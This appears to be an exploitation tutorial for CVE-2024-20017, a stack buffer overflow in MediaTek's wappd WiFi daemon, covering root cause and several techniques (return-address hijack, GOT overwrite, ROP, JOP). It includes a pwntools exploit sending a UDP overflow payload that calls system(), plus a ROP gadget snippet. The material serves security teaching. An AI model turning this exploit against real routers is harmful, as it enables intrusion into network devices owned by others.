Exploiting a MediaTek Critical Vulnerability

CVE-2024-20017 is a buffer overflow vulnerability discovered by CoffinSec in the wappd service, a network daemon used in the MediaTek MT7622/MT7915 SDK and the RTxxxx SoftAP driver bundle. It affects many embedded devices supporting WiFi6 (802.11ax), including products from Ubiquiti, Xiaomi, and Netgear.

The vulnerability is relatively simple, as it's a classic stack buffer overflow caused by a copy operation that uses an attacker-controlled length without bounds checking. In this tutorial, we'll explore multiple ways to exploit this bug across various mitigation scenarios, from no protections at all to environments with ASLR, NX, stack canaries, and full RELRO.

Vulnerability Background

Discovery

CoffinSec discovered this vulnerability through network-based fuzzing using the fuzzer Fuzzotron. This tool generates test cases with radamsa or blab and is used for fuzzing network services with minimal overhead.

The fuzzing uncovered a vulnerability in IAPP_RcvHandlerSSB(), a function within the wappd daemon that processes packet data. Let's break down the root cause of this bug.

Root Cause Analysis

The vulnerability is caused by the lack of bounds checking in IAPP_RcvHandlerSSB(). The function uses an attacker-controlled length field from a struct (pSendSB->Length) in a copy operation, which leads to a stack buffer overflow.

Here’s a simplified snippet of the vulnerable code:

IAPP_MEM_MOVE(&kdp_info, pSendSB->SB, pSendSB->Length); // Vulnerability: buffer overflow here

The copy operation writes up to 1433 bytes of attacker-controlled data into a 167-byte stack-allocated structure, which allows for the overflow.

Code Flow from Source to Vulnerable Function

1. IAPP_Start() initiates the main processing loop.
2. IAPP_RcvHandler() identifies the ready sockets using select() and calls the appropriate handler based on the protocol.
3. If a UDP packet is received, IAPP_RcvHandlerUdp() processes the data.
4. If the packet's command field value is 0x50, the function IAPP_RcvHandlerSSB() is invoked.
5. IAPP_RcvHandlerSSB() parses the packet and processes the Length field, which leads to the buffer overflow.

With the root cause understood, let’s explore four different exploitation techniques for CVE-2024-20017.

Exploitation Techniques

Exploit 1: RIP Hijack via Corrupted Return Address, ROP to system()

Setup:

• Build: No forking, no optimizations.
• Mitigations: NX (Non-executable stack).

In environments where no mitigations like ASLR or stack canaries are in place, we can leverage the overflow to corrupt the saved return address on the stack. This allows us to control the instruction pointer and redirect it to a ROP gadget that calls system() with an attacker-controlled string.

Here’s a Python exploit using pwntools:

from pwn import *
 
context.log_level = 'error'
 
TARGET_IP = "127.0.0.1"
TARGET_PORT = 3517
 
# Address of system() and other important locations
SYSTEM_ADDR = 0x7ffff7c50d70
EXIT_ADDR = 0x7ffff7c455f0
GADGET_2 = 0x42bf72  # pop rdi ; pop rbp ; ret
 
# Creating payload
def create_payload():
    # Setting up overflow
    final_pkt = b"A" * 176  # padding
    final_pkt += p64(SYSTEM_ADDR)
    final_pkt += p64(EXIT_ADDR)
    final_pkt += b"echo EXPLOITED!;"  # Command to run
    
    return final_pkt
 
# Send payload
conn = remote(TARGET_IP, TARGET_PORT, typ='udp')
conn.send(create_payload())

This exploit overwrites the return address to call system("echo EXPLOITED!"). Without ASLR, stack canaries, or other mitigations, it’s a straightforward attack.

Exploit 2: Arbitrary Write via Pointer Corruption, GOT Overwrite

Setup:

• Build: x86_64, non-forking, no optimizations.
• Mitigations: ASLR, stack canaries, NX, partial RELRO.

When ASLR and stack canaries are enabled, we can’t simply corrupt the return address. Instead, we focus on pointer corruption. By corrupting a pointer in the function’s stack frame, we create an arbitrary write primitive to overwrite a Global Offset Table (GOT) entry.

In this exploit, we:

1. Use the overflow to corrupt a pointer.
2. Overwrite a GOT entry with the address of system().
3. Trigger system() execution by calling the corrupted function.

Example exploit code is available here.

Exploit 3: Return Address Corruption + Arbitrary Write via ROP (Full RELRO)

Setup:

• Build: x86_64, optimization level 2, forking daemon.
• Mitigations: ASLR, full RELRO, NX.

In environments with full RELRO (which protects the GOT from being overwritten), we need a different approach. We use ROP (Return-Oriented Programming) to get an arbitrary write primitive. The goal is to chain ROP gadgets to write controlled data at a known address and then redirect execution.

Here’s an example ROP chain:

mov rax, [rsp+0x30];   // Load data into rax
mov [rdx], rax;        // Write rax's content to the address stored in rdx

We use ROP to write the shell command to a known address and then redirect execution to system() to execute the command.

Example exploit code is available here.

Bonus: Triggering a Kernel Bug via Arbitrary IOCTL Calls Using JOP

As a bonus, this tutorial explores how an attacker can trigger a kernel bug by using Jump-Oriented Programming (JOP) to perform arbitrary IOCTL calls. This technique is used to bypass certain restrictions when direct code execution isn’t possible.

Conclusion

CVE-2024-20017 offers a unique opportunity to explore different exploitation strategies. By understanding the constraints of various environments (presence of ASLR, stack canaries, RELRO), we can develop tailored exploitation techniques.

This tutorial demonstrates how a single vulnerability can be exploited in multiple ways. Whether it’s a simple RIP hijack or a complex ROP chain, the creative approach to exploitation remains key.